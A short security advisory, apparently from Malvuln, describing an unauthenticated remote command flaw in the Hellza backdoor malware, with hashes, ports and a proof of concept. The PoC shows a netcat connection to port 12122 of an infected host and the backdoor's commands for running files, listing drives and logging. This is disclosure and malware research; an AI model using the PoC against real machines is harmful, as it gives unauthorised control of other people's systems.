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## https://sploitus.com/exploit?id=PACKETSTORM:168430
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022  
Original source: https://malvuln.com/advisory/2cbd0fcf4d5fd5fb6c8014390efb0b21.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Hellza.120  
Vulnerability: Unauthorized Remote Command Execution  
Description: The malware listens on TCP ports 12122, 21. Third-party adversarys who can reach infected systems can issue commands made available by the backdoor.  
Family: Hellza  
Type: PE32  
MD5: 2cbd0fcf4d5fd5fb6c8014390efb0b21  
Vuln ID: MVID-2022-0641  
Dropped files: msdllsrv.exe  
Disclosure: 09/19/2022   
  
Exploit/PoC:  
C:\>nc64.exe x.x.x.x 12122  
xrR_Server version:1.20 Beta R1.1  
  
F (starts FTP if not running in case where the server was restarted)  
  
L (logger)  
L15_ *0.00 KB*  
  
D (drives)  
D 1C:\2D:\  
  
E (run file)  
  
  
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